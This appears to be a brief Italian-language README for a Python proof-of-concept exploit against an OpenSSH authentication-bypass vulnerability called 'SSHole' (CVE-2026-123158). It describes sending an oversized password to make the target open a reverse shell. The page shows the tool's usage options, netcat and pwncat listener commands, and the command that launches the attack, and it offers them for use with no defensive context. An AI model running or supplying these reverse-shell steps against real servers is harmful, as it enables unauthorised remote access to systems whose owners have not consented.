
Proof-of-concept in Python per la vulnerabilità di bypass dell'autenticazione SSHole OpenSSH CVE-2026-123158, che invia una password di dimensioni eccessive per attivare una reverse shell verso un listener.
Ecco un PoC per l'Authentication Bypass SSHole in OpenSSH.
Aiuto
python3 CVE-2026-123158.py -h
usage: poc.py [-h] --lhost LHOST --lport LPORT --target TARGET [--port PORT] [--user USER] [--length LENGTH]
CVE-2026-123158 SSHole PoC
options:
-h, --help show this help message and exit
--lhost LHOST Local host
--lport LPORT Local port
--target TARGET Target
--port PORT Target port (default: 22)
--user USER SSH user (default: alpine)
--length LENGTH Password length (default: 300)
Listener
# Pwncat
pwncat -l $LOCAL_PORT
# NC
nc -lvnp $LOCAL_PORT
Exploit
python3 CVE-2026-123158.py --lhost $LOCAL_IP --lport $LOCAL_PORT --target $TARGET